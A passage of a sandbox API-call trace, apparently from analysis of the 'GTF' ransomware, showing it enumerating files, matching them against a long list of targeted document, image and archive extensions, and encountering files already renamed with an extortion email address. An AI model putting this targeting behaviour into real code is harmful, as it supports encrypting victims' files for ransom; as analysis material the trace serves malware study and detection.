	[0065.349] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1
	[0065.349] lstrlenW (lpString=".pict") returned 5
	[0065.349] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1
	[0065.349] lstrlenW (lpString=".pl") returned 3
	[0065.349] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1
	[0065.349] lstrlenW (lpString=".pls") returned 4
	[0065.349] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1
	[0065.349] lstrlenW (lpString=".pm") returned 3
	[0065.349] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1
	[0065.349] lstrlenW (lpString=".png") returned 4
	[0065.349] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1
	[0065.349] lstrlenW (lpString=".pnm") returned 4
	[0065.349] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1
	[0065.349] lstrlenW (lpString=".pot") returned 4
	[0065.349] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1
	[0065.349] lstrlenW (lpString=".potm") returned 5
	[0065.349] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1
	[0065.349] lstrlenW (lpString=".potx") returned 5
	[0065.349] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1
	[0065.349] lstrlenW (lpString=".ppa") returned 4
	[0065.349] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1
	[0065.349] lstrlenW (lpString=".ppam") returned 5
	[0065.349] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1
	[0065.349] lstrlenW (lpString=".ppm") returned 4
	[0065.350] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1
	[0065.350] lstrlenW (lpString=".pps") returned 4
	[0065.350] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1
	[0065.350] lstrlenW (lpString=".ppsm") returned 5
	[0065.350] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1
	[0065.350] lstrlenW (lpString=".ppt") returned 4
	[0065.350] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0065.350] lstrlenW (lpString=".pptm") returned 5
	[0065.350] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1
	[0065.350] lstrlenW (lpString=".pptx") returned 5
	[0065.350] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1
	[0065.350] lstrlenW (lpString=".prn") returned 4
	[0065.350] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1
	[0065.350] lstrlenW (lpString=".ps") returned 3
	[0065.350] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1
	[0065.350] lstrlenW (lpString=".psb") returned 4
	[0065.350] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1
	[0065.350] lstrlenW (lpString=".psd") returned 4
	[0065.350] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1
	[0065.350] lstrlenW (lpString=".pst") returned 4
	[0065.350] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1
	[0065.350] lstrlenW (lpString=".ptx") returned 4
	[0065.350] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1
	[0065.350] lstrlenW (lpString=".pub") returned 4
	[0065.350] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1
	[0065.350] lstrlenW (lpString=".pwm") returned 4
	[0065.350] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1
	[0065.350] lstrlenW (lpString=".pxr") returned 4
	[0065.350] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1
	[0065.350] lstrlenW (lpString=".py") returned 3
	[0065.350] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1
	[0065.350] lstrlenW (lpString=".qt") returned 3
	[0065.350] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1
	[0065.350] lstrlenW (lpString=".r3d") returned 4
	[0065.350] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1
	[0065.350] lstrlenW (lpString=".raf") returned 4
	[0065.350] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1
	[0065.350] lstrlenW (lpString=".rar") returned 4
	[0065.351] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0065.351] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e4ad720, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9e4ad720, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e4ad720, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0065.351] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1510c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0065.351] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dc34d6d, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9dc34d6d, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9dc34d6d, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0065.351] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0065.351] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0065.351] FindClose (in: hFindFile=0x811c88 | out: hFindFile=0x811c88) returned 1
	[0065.351] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0065.351] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1033", cAlternateFileName="")) returned 1
	[0065.351] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e80058
	[0065.351] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033") returned 26
	[0065.351] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9e3a83aa, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811fc8
	[0065.352] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9e3a83aa, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0065.352] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9e30fbad, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9e30fbad, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e3820aa, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0065.352] lstrlenW (lpString="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF") returned 50
	[0065.352] lstrlenW (lpString=".1cd") returned 4
	[0065.352] lstrcmpiW (lpString1=".1cd", lpString2=".GTF") returned -1
	[0065.352] lstrlenW (lpString=".3ds") returned 4
	[0065.352] lstrcmpiW (lpString1=".3ds", lpString2=".GTF") returned -1
	[0065.352] lstrlenW (lpString=".3fr") returned 4
	[0065.352] lstrcmpiW (lpString1=".3fr", lpString2=".GTF") returned -1
	[0065.352] lstrlenW (lpString=".3g2") returned 4
	[0065.352] lstrcmpiW (lpString1=".3g2", lpString2=".GTF") returned -1
	[0065.352] lstrlenW (lpString=".3gp") returned 4
	[0065.352] lstrcmpiW (lpString1=".3gp", lpString2=".GTF") returned -1
	[0065.352] lstrlenW (lpString=".7z") returned 3
	[0065.352] lstrcmpiW (lpString1=".7z", lpString2="GTF") returned -1
	[0065.352] lstrlenW (lpString=".accda") returned 6
	[0065.352] lstrcmpiW (lpString1=".accda", lpString2="m].GTF") returned -1
	[0065.352] lstrlenW (lpString=".accdb") returned 6
	[0065.352] lstrcmpiW (lpString1=".accdb", lpString2="m].GTF") returned -1
	[0065.352] lstrlenW (lpString=".accdc") returned 6
	[0065.352] lstrcmpiW (lpString1=".accdc", lpString2="m].GTF") returned -1
	[0065.352] lstrlenW (lpString=".accde") returned 6
	[0065.352] lstrcmpiW (lpString1=".accde", lpString2="m].GTF") returned -1
	[0065.352] lstrlenW (lpString=".accdt") returned 6
	[0065.352] lstrcmpiW (lpString1=".accdt", lpString2="m].GTF") returned -1
	[0065.352] lstrlenW (lpString=".accdw") returned 6
	[0065.352] lstrcmpiW (lpString1=".accdw", lpString2="m].GTF") returned -1
	[0065.352] lstrlenW (lpString=".adb") returned 4
	[0065.352] lstrcmpiW (lpString1=".adb", lpString2=".GTF") returned -1
	[0065.352] lstrlenW (lpString=".adp") returned 4
	[0065.352] lstrcmpiW (lpString1=".adp", lpString2=".GTF") returned -1
	[0065.353] lstrlenW (lpString=".ai") returned 3
	[0065.353] lstrcmpiW (lpString1=".ai", lpString2="GTF") returned -1
	[0065.353] lstrlenW (lpString=".ai3") returned 4
	[0065.353] lstrcmpiW (lpString1=".ai3", lpString2=".GTF") returned -1
	[0065.353] lstrlenW (lpString=".ai4") returned 4
	[0065.353] lstrcmpiW (lpString1=".ai4", lpString2=".GTF") returned -1
	[0065.353] lstrlenW (lpString=".ai5") returned 4
	[0065.353] lstrcmpiW (lpString1=".ai5", lpString2=".GTF") returned -1
	[0065.353] lstrlenW (lpString=".ai6") returned 4
	[0065.353] lstrcmpiW (lpString1=".ai6", lpString2=".GTF") returned -1
	[0065.353] lstrlenW (lpString=".ai7") returned 4
	[0065.353] lstrcmpiW (lpString1=".ai7", lpString2=".GTF") returned -1
	[0065.353] lstrlenW (lpString=".ai8") returned 4
	[0065.353] lstrcmpiW (lpString1=".ai8", lpString2=".GTF") returned -1
	[0065.353] lstrlenW (lpString=".anim") returned 5
	[0065.353] lstrcmpiW (lpString1=".anim", lpString2="].GTF") returned -1
	[0065.353] lstrlenW (lpString=".arw") returned 4
	[0065.353] lstrcmpiW (lpString1=".arw", lpString2=".GTF") returned -1
	[0065.353] lstrlenW (lpString=".as") returned 3
	[0065.353] lstrcmpiW (lpString1=".as", lpString2="GTF") returned -1
	[0065.353] lstrlenW (lpString=".asa") returned 4
	[0065.353] lstrcmpiW (lpString1=".asa", lpString2=".GTF") returned -1
	[0065.353] lstrlenW (lpString=".asc") returned 4
	[0065.353] lstrcmpiW (lpString1=".asc", lpString2=".GTF") returned -1
	[0065.353] lstrlenW (lpString=".ascx") returned 5
	[0065.353] lstrcmpiW (lpString1=".ascx", lpString2="].GTF") returned -1
	[0065.353] lstrlenW (lpString=".asm") returned 4
	[0065.353] lstrcmpiW (lpString1=".asm", lpString2=".GTF") returned -1
	[0065.353] lstrlenW (lpString=".asmx") returned 5
	[0065.353] lstrcmpiW (lpString1=".asmx", lpString2="].GTF") returned -1
	[0065.353] lstrlenW (lpString=".asp") returned 4
	[0065.353] lstrcmpiW (lpString1=".asp", lpString2=".GTF") returned -1
	[0065.353] lstrlenW (lpString=".aspx") returned 5
	[0065.353] lstrcmpiW (lpString1=".aspx", lpString2="].GTF") returned -1
	[0065.353] lstrlenW (lpString=".asr") returned 4
	[0065.353] lstrcmpiW (lpString1=".asr", lpString2=".GTF") returned -1
	[0065.353] lstrlenW (lpString=".asx") returned 4
	[0065.354] lstrcmpiW (lpString1=".asx", lpString2=".GTF") returned -1
	[0065.354] lstrlenW (lpString=".avi") returned 4
	[0065.354] lstrcmpiW (lpString1=".avi", lpString2=".GTF") returned -1
	[0065.354] lstrlenW (lpString=".avs") returned 4
	[0065.354] lstrcmpiW (lpString1=".avs", lpString2=".GTF") returned -1
	[0065.354] lstrlenW (lpString=".backup") returned 7
	[0065.354] lstrcmpiW (lpString1=".backup", lpString2="om].GTF") returned -1
	[0065.354] lstrlenW (lpString=".bak") returned 4
	[0065.354] lstrcmpiW (lpString1=".bak", lpString2=".GTF") returned -1
	[0065.354] lstrlenW (lpString=".bay") returned 4
	[0065.354] lstrcmpiW (lpString1=".bay", lpString2=".GTF") returned -1
	[0065.354] lstrlenW (lpString=".bd") returned 3
	[0065.354] lstrcmpiW (lpString1=".bd", lpString2="GTF") returned -1
	[0065.354] lstrlenW (lpString=".bin") returned 4
	[0065.354] lstrcmpiW (lpString1=".bin", lpString2=".GTF") returned -1
	[0065.354] lstrlenW (lpString=".bmp") returned 4
	[0065.354] lstrcmpiW (lpString1=".bmp", lpString2=".GTF") returned -1
	[0065.354] lstrlenW (lpString=".bz2") returned 4
	[0065.354] lstrcmpiW (lpString1=".bz2", lpString2=".GTF") returned -1
	[0065.354] lstrlenW (lpString=".c") returned 2
	[0065.354] lstrcmpiW (lpString1=".c", lpString2="TF") returned -1
	[0065.354] lstrlenW (lpString=".cdr") returned 4
	[0065.354] lstrcmpiW (lpString1=".cdr", lpString2=".GTF") returned -1
	[0065.354] lstrlenW (lpString=".cer") returned 4
	[0065.354] lstrcmpiW (lpString1=".cer", lpString2=".GTF") returned -1
	[0065.354] lstrlenW (lpString=".cf") returned 3
	[0065.354] lstrcmpiW (lpString1=".cf", lpString2="GTF") returned -1
	[0065.354] lstrlenW (lpString=".cfc") returned 4
	[0065.354] lstrcmpiW (lpString1=".cfc", lpString2=".GTF") returned -1
	[0065.354] lstrlenW (lpString=".cfm") returned 4
	[0065.354] lstrcmpiW (lpString1=".cfm", lpString2=".GTF") returned -1
	[0065.354] lstrlenW (lpString=".cfml") returned 5
	[0065.354] lstrcmpiW (lpString1=".cfml", lpString2="].GTF") returned -1
	[0065.354] lstrlenW (lpString=".cfu") returned 4
	[0065.354] lstrcmpiW (lpString1=".cfu", lpString2=".GTF") returned -1
	[0065.354] lstrlenW (lpString=".chm") returned 4
	[0065.354] lstrcmpiW (lpString1=".chm", lpString2=".GTF") returned -1
	[0065.354] lstrlenW (lpString=".cin") returned 4
	[0065.355] lstrcmpiW (lpString1=".cin", lpString2=".GTF") returned -1
	[0065.355] lstrlenW (lpString=".class") returned 6
	[0065.355] lstrcmpiW (lpString1=".class", lpString2="m].GTF") returned -1
	[0065.355] lstrlenW (lpString=".clx") returned 4
	[0065.355] lstrcmpiW (lpString1=".clx", lpString2=".GTF") returned -1
	[0065.355] lstrlenW (lpString=".config") returned 7
	[0065.355] lstrcmpiW (lpString1=".config", lpString2="om].GTF") returned -1
	[0065.355] lstrlenW (lpString=".cpp") returned 4
	[0065.355] lstrcmpiW (lpString1=".cpp", lpString2=".GTF") returned -1
	[0065.355] lstrlenW (lpString=".cr2") returned 4
	[0065.355] lstrcmpiW (lpString1=".cr2", lpString2=".GTF") returned -1
	[0065.355] lstrlenW (lpString=".crt") returned 4
	[0065.355] lstrcmpiW (lpString1=".crt", lpString2=".GTF") returned -1
	[0065.355] lstrlenW (lpString=".crw") returned 4
	[0065.355] lstrcmpiW (lpString1=".crw", lpString2=".GTF") returned -1
	[0065.355] lstrlenW (lpString=".cs") returned 3
	[0065.355] lstrcmpiW (lpString1=".cs", lpString2="GTF") returned -1
	[0065.355] lstrlenW (lpString=".css") returned 4
	[0065.355] lstrcmpiW (lpString1=".css", lpString2=".GTF") returned -1
	[0065.355] lstrlenW (lpString=".csv") returned 4
	[0065.355] lstrcmpiW (lpString1=".csv", lpString2=".GTF") returned -1
	[0065.355] lstrlenW (lpString=".cub") returned 4
	[0065.355] lstrcmpiW (lpString1=".cub", lpString2=".GTF") returned -1
	[0065.355] lstrlenW (lpString=".dae") returned 4
	[0065.355] lstrcmpiW (lpString1=".dae", lpString2=".GTF") returned -1
	[0065.355] lstrlenW (lpString=".dat") returned 4
	[0065.355] lstrcmpiW (lpString1=".dat", lpString2=".GTF") returned -1
	[0065.355] lstrlenW (lpString=".db") returned 3
	[0065.355] lstrcmpiW (lpString1=".db", lpString2="GTF") returned -1
	[0065.355] lstrlenW (lpString=".dbf") returned 4
	[0065.355] lstrcmpiW (lpString1=".dbf", lpString2=".GTF") returned -1
	[0065.355] lstrlenW (lpString=".dbx") returned 4
	[0065.355] lstrcmpiW (lpString1=".dbx", lpString2=".GTF") returned -1
	[0065.355] lstrlenW (lpString=".dc3") returned 4
	[0065.356] lstrcmpiW (lpString1=".dc3", lpString2=".GTF") returned -1
	[0065.356] lstrlenW (lpString=".dcm") returned 4
	[0065.356] lstrcmpiW (lpString1=".dcm", lpString2=".GTF") returned -1
	[0065.356] lstrlenW (lpString=".dcr") returned 4
	[0065.356] lstrcmpiW (lpString1=".dcr", lpString2=".GTF") returned -1
	[0065.356] lstrlenW (lpString=".der") returned 4
	[0065.356] lstrcmpiW (lpString1=".der", lpString2=".GTF") returned -1
	[0065.356] lstrlenW (lpString=".dib") returned 4
	[0065.356] lstrcmpiW (lpString1=".dib", lpString2=".GTF") returned -1
	[0065.356] lstrlenW (lpString=".dic") returned 4
	[0065.356] lstrcmpiW (lpString1=".dic", lpString2=".GTF") returned -1
	[0065.356] lstrlenW (lpString=".dif") returned 4
	[0065.356] lstrcmpiW (lpString1=".dif", lpString2=".GTF") returned -1
	[0065.356] lstrlenW (lpString=".divx") returned 5
	[0065.356] lstrcmpiW (lpString1=".divx", lpString2="].GTF") returned -1
	[0065.356] lstrlenW (lpString=".djvu") returned 5
	[0065.356] lstrcmpiW (lpString1=".djvu", lpString2="].GTF") returned -1
	[0065.356] lstrlenW (lpString=".dng") returned 4
	[0065.356] lstrcmpiW (lpString1=".dng", lpString2=".GTF") returned -1
	[0065.356] lstrlenW (lpString=".doc") returned 4
	[0065.356] lstrcmpiW (lpString1=".doc", lpString2=".GTF") returned -1
	[0065.356] lstrlenW (lpString=".docm") returned 5
	[0065.356] lstrcmpiW (lpString1=".docm", lpString2="].GTF") returned -1
	[0065.356] lstrlenW (lpString=".docx") returned 5
	[0065.356] lstrcmpiW (lpString1=".docx", lpString2="].GTF") returned -1
	[0065.356] lstrlenW (lpString=".dot") returned 4
	[0065.356] lstrcmpiW (lpString1=".dot", lpString2=".GTF") returned -1
	[0065.356] lstrlenW (lpString=".dotm") returned 5
	[0065.356] lstrcmpiW (lpString1=".dotm", lpString2="].GTF") returned -1
	[0065.356] lstrlenW (lpString=".dotx") returned 5
	[0065.356] lstrcmpiW (lpString1=".dotx", lpString2="].GTF") returned -1
	[0065.356] lstrlenW (lpString=".dpx") returned 4
	[0065.356] lstrcmpiW (lpString1=".dpx", lpString2=".GTF") returned -1
	[0065.356] lstrlenW (lpString=".dqy") returned 4
	[0065.357] lstrcmpiW (lpString1=".dqy", lpString2=".GTF") returned -1
	[0065.357] lstrlenW (lpString=".dsn") returned 4
	[0065.357] lstrcmpiW (lpString1=".dsn", lpString2=".GTF") returned -1
	[0065.357] lstrlenW (lpString=".dt") returned 3
	[0065.357] lstrcmpiW (lpString1=".dt", lpString2="GTF") returned -1
	[0065.357] lstrlenW (lpString=".dtd") returned 4
	[0065.357] lstrcmpiW (lpString1=".dtd", lpString2=".GTF") returned -1
	[0065.357] lstrlenW (lpString=".dwg") returned 4
	[0065.357] lstrcmpiW (lpString1=".dwg", lpString2=".GTF") returned -1
	[0065.357] lstrlenW (lpString=".dwt") returned 4
	[0065.357] lstrcmpiW (lpString1=".dwt", lpString2=".GTF") returned -1
	[0065.357] lstrlenW (lpString=".dx") returned 3
	[0065.357] lstrcmpiW (lpString1=".dx", lpString2="GTF") returned -1
	[0065.357] lstrlenW (lpString=".dxf") returned 4
	[0065.357] lstrcmpiW (lpString1=".dxf", lpString2=".GTF") returned -1
	[0065.357] lstrlenW (lpString=".edml") returned 5
	[0065.357] lstrcmpiW (lpString1=".edml", lpString2="].GTF") returned -1
	[0065.357] lstrlenW (lpString=".efd") returned 4
	[0065.357] lstrcmpiW (lpString1=".efd", lpString2=".GTF") returned -1
	[0065.357] lstrlenW (lpString=".elf") returned 4
	[0065.357] lstrcmpiW (lpString1=".elf", lpString2=".GTF") returned -1
	[0065.357] lstrlenW (lpString=".emf") returned 4
	[0065.357] lstrcmpiW (lpString1=".emf", lpString2=".GTF") returned -1
	[0065.357] lstrlenW (lpString=".emz") returned 4
	[0065.357] lstrcmpiW (lpString1=".emz", lpString2=".GTF") returned -1
	[0065.357] lstrlenW (lpString=".epf") returned 4
	[0065.357] lstrcmpiW (lpString1=".epf", lpString2=".GTF") returned -1
	[0065.357] lstrlenW (lpString=".eps") returned 4
	[0065.357] lstrcmpiW (lpString1=".eps", lpString2=".GTF") returned -1
	[0065.357] lstrlenW (lpString=".epsf") returned 5
	[0065.357] lstrcmpiW (lpString1=".epsf", lpString2="].GTF") returned -1
	[0065.357] lstrlenW (lpString=".epsp") returned 5
	[0065.357] lstrcmpiW (lpString1=".epsp", lpString2="].GTF") returned -1
	[0065.357] lstrlenW (lpString=".erf") returned 4
	[0065.357] lstrcmpiW (lpString1=".erf", lpString2=".GTF") returned -1
	[0065.357] lstrlenW (lpString=".exr") returned 4
	[0065.357] lstrcmpiW (lpString1=".exr", lpString2=".GTF") returned -1
	[0065.357] lstrlenW (lpString=".f4v") returned 4
	[0065.358] lstrcmpiW (lpString1=".f4v", lpString2=".GTF") returned -1
	[0065.358] lstrlenW (lpString=".fido") returned 5
	[0065.358] lstrcmpiW (lpString1=".fido", lpString2="].GTF") returned -1
	[0065.358] lstrlenW (lpString=".flm") returned 4
	[0065.358] lstrcmpiW (lpString1=".flm", lpString2=".GTF") returned -1
	[0065.358] lstrlenW (lpString=".flv") returned 4
	[0065.358] lstrcmpiW (lpString1=".flv", lpString2=".GTF") returned -1
	[0065.358] lstrlenW (lpString=".frm") returned 4
	[0065.358] lstrcmpiW (lpString1=".frm", lpString2=".GTF") returned -1
	[0065.358] lstrlenW (lpString=".fxg") returned 4
	[0065.358] lstrcmpiW (lpString1=".fxg", lpString2=".GTF") returned -1
	[0065.358] lstrlenW (lpString=".geo") returned 4
	[0065.358] lstrcmpiW (lpString1=".geo", lpString2=".GTF") returned -1
	[0065.358] lstrlenW (lpString=".gif") returned 4
	[0065.358] lstrcmpiW (lpString1=".gif", lpString2=".GTF") returned -1
	[0065.358] lstrlenW (lpString=".grs") returned 4
	[0065.358] lstrcmpiW (lpString1=".grs", lpString2=".GTF") returned -1
	[0065.358] lstrlenW (lpString=".gz") returned 3
	[0065.358] lstrcmpiW (lpString1=".gz", lpString2="GTF") returned -1
	[0065.358] lstrlenW (lpString=".h") returned 2
	[0065.358] lstrcmpiW (lpString1=".h", lpString2="TF") returned -1
	[0065.358] lstrlenW (lpString=".hdr") returned 4
	[0065.358] lstrcmpiW (lpString1=".hdr", lpString2=".GTF") returned 1
	[0065.358] lstrlenW (lpString=".hpp") returned 4
	[0065.358] lstrcmpiW (lpString1=".hpp", lpString2=".GTF") returned 1
	[0065.358] lstrlenW (lpString=".hta") returned 4
	[0065.358] lstrcmpiW (lpString1=".hta", lpString2=".GTF") returned 1
	[0065.358] lstrlenW (lpString=".htc") returned 4
	[0065.358] lstrcmpiW (lpString1=".htc", lpString2=".GTF") returned 1
	[0065.358] lstrlenW (lpString=".htm") returned 4
	[0065.358] lstrcmpiW (lpString1=".htm", lpString2=".GTF") returned 1
	[0065.358] lstrlenW (lpString=".html") returned 5
	[0065.358] lstrcmpiW (lpString1=".html", lpString2="].GTF") returned -1
	[0065.358] lstrlenW (lpString=".icb") returned 4
	[0065.358] lstrcmpiW (lpString1=".icb", lpString2=".GTF") returned 1
	[0065.358] lstrlenW (lpString=".ics") returned 4
	[0065.358] lstrcmpiW (lpString1=".ics", lpString2=".GTF") returned 1
	[0065.359] lstrlenW (lpString=".iff") returned 4
	[0065.359] lstrcmpiW (lpString1=".iff", lpString2=".GTF") returned 1
	[0065.359] lstrlenW (lpString=".inc") returned 4
	[0065.359] lstrcmpiW (lpString1=".inc", lpString2=".GTF") returned 1
	[0065.359] lstrlenW (lpString=".indd") returned 5
	[0065.359] lstrcmpiW (lpString1=".indd", lpString2="].GTF") returned -1
	[0065.359] lstrlenW (lpString=".ini") returned 4
	[0065.359] lstrcmpiW (lpString1=".ini", lpString2=".GTF") returned 1
	[0065.359] lstrlenW (lpString=".iqy") returned 4
	[0065.359] lstrcmpiW (lpString1=".iqy", lpString2=".GTF") returned 1
	[0065.359] lstrlenW (lpString=".j2c") returned 4
	[0065.359] lstrcmpiW (lpString1=".j2c", lpString2=".GTF") returned 1
	[0065.359] lstrlenW (lpString=".j2k") returned 4
	[0065.359] lstrcmpiW (lpString1=".j2k", lpString2=".GTF") returned 1
	[0065.359] lstrlenW (lpString=".java") returned 5
	[0065.359] lstrcmpiW (lpString1=".java", lpString2="].GTF") returned -1
	[0065.359] lstrlenW (lpString=".jp2") returned 4
	[0065.359] lstrcmpiW (lpString1=".jp2", lpString2=".GTF") returned 1
	[0065.359] lstrlenW (lpString=".jpc") returned 4
	[0065.359] lstrcmpiW (lpString1=".jpc", lpString2=".GTF") returned 1
	[0065.359] lstrlenW (lpString=".jpe") returned 4
	[0065.359] lstrcmpiW (lpString1=".jpe", lpString2=".GTF") returned 1
	[0065.359] lstrlenW (lpString=".jpeg") returned 5
	[0065.359] lstrcmpiW (lpString1=".jpeg", lpString2="].GTF") returned -1
	[0065.359] lstrlenW (lpString=".jpf") returned 4
	[0065.359] lstrcmpiW (lpString1=".jpf", lpString2=".GTF") returned 1
	[0065.359] lstrlenW (lpString=".jpg") returned 4
	[0065.359] lstrcmpiW (lpString1=".jpg", lpString2=".GTF") returned 1
	[0065.359] lstrlenW (lpString=".jpx") returned 4
	[0065.359] lstrcmpiW (lpString1=".jpx", lpString2=".GTF") returned 1
	[0065.359] lstrlenW (lpString=".js") returned 3
	[0065.359] lstrcmpiW (lpString1=".js", lpString2="GTF") returned -1
	[0065.359] lstrlenW (lpString=".jsf") returned 4
	[0065.359] lstrcmpiW (lpString1=".jsf", lpString2=".GTF") returned 1
	[0065.359] lstrlenW (lpString=".json") returned 5
	[0065.359] lstrcmpiW (lpString1=".json", lpString2="].GTF") returned -1
	[0065.359] lstrlenW (lpString=".jsp") returned 4
